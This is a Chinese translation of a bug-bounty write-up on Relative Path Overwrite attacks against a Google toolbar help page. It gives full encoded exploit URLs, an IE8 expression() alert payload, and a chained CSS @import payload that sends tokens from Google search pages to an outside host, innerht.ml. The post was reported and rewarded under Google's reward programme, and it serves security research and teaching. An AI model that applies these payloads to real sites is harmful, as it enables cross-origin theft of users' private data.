CSS RPO Gadgets

RPO Gadgets

這篇文章並不是講述Return Oriented Programming (ROP),誤入的可以點右上角的紅叉了。由於我想介紹的技術是Relative Path Overwrite (RPO)的進階課程,如果沒有基礎的同學可以查看original introduction by Gareth 和 a real life RPO bug in phpBB by James.


Identifying RPO

目前我們可以知道的RPO利用例子是James的PRSSI ,它依賴於CSS解析器容忍在quirks mode中的非法語法(也稱爲鬆散解析),所以查找RPO漏洞的第一步就是檢查頁面的是否有正確的doctype。

我找到一個目標:
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

<html>  
<head>  
<title>Google Toolbar API - Guide to Making Custom Buttons</title>  
<link href="../../styles.css" rel="stylesheet" type="text/css" />  
[..]

第二步涉及到服務器如何解析路徑。對於瀏覽器來說,目錄之間被“/”隔開。對於服務器來說,這並不意味着一定是目錄,比如說JSP接收參數時會將“;”後的內容全部視爲參數 (e.g. http://example.com/path;/notpath),這種情況下瀏覽器只會認爲/patn;/notpath依舊是目錄。

在目標中我找到可以利用RPO的地方,那裏似乎有一個代理處理請求並解碼路徑中的內容,然後將其發送到真正的服務器。 這允許我們在路徑中用%2f替換斜槓:

http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

這裏寫圖片描述

Server:
/tools/toolbar/buttons/apis/ howto_guide.html
Browser:
/tools/toolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet:
/tools/ style.css
(加粗的表示爲基本路徑)

現在瀏覽器認爲基本路徑是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis/,因此對../../style.css的引用會多跳一個目錄。

我們還能僞造目錄,比如我們想加載的css文件在/tools/fake/styles.css:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

Server:
/tools/ (fake/../抵消) toolbar/buttons/apis/ howto_guide.html
Browser:
/tools/fake/..%2ftoolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet:
/tools/fake/..%2ftoolbar/buttons/../../style.css

這裏我們添加了二個虛擬目錄:fake和..%2f,這樣在server角度下就互相抵消了,然後瀏覽器認爲fake和..%2ftoolbar爲目錄。理論上,我們可以在根目錄下導入任何樣式表(www.google.com/*/styles.css),不幸的是這個代理只能處理(www.google.com/tools/*/styles.css),不是tools目錄中的css文件就無法導入。

除了按鈕Gallery 外都是些靜態元素,http://www.google.com/tools/toolbar/buttons/gallery會重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1
按鈕Gallery有一個q參數,可以製作RPO的payload:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}

效果如圖所示:
這裏寫圖片描述

現在要做的就是如何以CSS方式來加載該頁面。一種方法就是重定向處理查詢字符串,例如,http://www.google.com/tools/toolbar/buttons/gallery?foo=bar會將我們重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar, 查詢的字符串會附加上。

最後一步就是構造查詢字符串了:http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html

Server:
/tools/toolbar/buttons/ (gallery?q=%0a{}*{background:red}/../抵消) /apis/ howto_guide.html

Browser:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/ howto_guide.html

Imported stylesheet:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D /..%2f/apis/../../style.css

/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

這裏寫圖片描述

看成功了,滿頁面都是紅色。我們還能使用expression(alert(document.domain)),在IE8可以成功彈窗,但是在IE9卻失敗了。那是因爲谷歌的defense-in-depth防止按鈕以css方式加載(X-Content-Type-Options:nosniff 選項來關閉IE的文檔類型自動判斷功能)。
突然間所有的努力都是徒勞的,因爲Google漏洞獎勵計劃(VRP)規則清楚地表明:In particular, we exclude Internet Explorer prior to version 9


Chaining Gadgets

嗯,如果我們使用RPO竊取其他頁面上的祕密呢? CSS的另一個有趣的事情是,在quirks mode下,只要它們在同一個起源,那麼鬆散解析就適用於所有導入的樣式表。這樣就開啓了一個新的可能性,因爲我們可以使用Button Gallery作爲小工具將https://www.google.com/*上的任何網頁導入爲樣式表,如果導入的“樣式表”包含隱私數據和注入點,我們可以 嘗試通過注入CSS魔法來竊取它。

這樣的頁面要求是:

  • 注入點需要在隱私數據之前
  • 注入點需要允許%0a,%0c和%0d中的任何一個,以便可以從錯誤的狀態恢復解析器狀態
  • 隱私數據及其周圍不能包含換行符

我花了些時間找到了符合的頁面:http://www.google.com/search?nord=1&q={}%0a@import”//innerht.ml?

這裏寫圖片描述

首先要注意的是,該頁面針對速度進行了優化,因此HTML被壓縮過,只有少數換行符。可以看到有一些隨機生成的token。 我不知道他們代表什麼,但是能夠竊取他們應該足以證明這次攻擊確實會滲透到數據中。截圖中突出顯示的部分是css魔術發生的地方:我們使用@import“// innerht.ml?創建import規則,然後直到雙引號的所有內容將作爲受控URL的一部分使用,最後瀏覽器會向import“URL”發出請求,我們就可以獲取到數據內容。
http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html

這裏寫圖片描述

再次向google上報:

** NOTE: This is an automatically generated email **

Hello,

Thank you for reporting this bug. As part of Google's Vulnerability Reward Program, the panel has decided to issue a reward of $1337.

Conclusion

我相信這應該是在實踐中首次成功執行的RPO攻擊。 最重要的是,我希望這篇文章可以讓您深入瞭解RPO如何在沒有XSS的情況下工作,以及如何識別RPO漏洞。


翻譯出處
http://blog.innerht.ml/rpo-gadgets/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章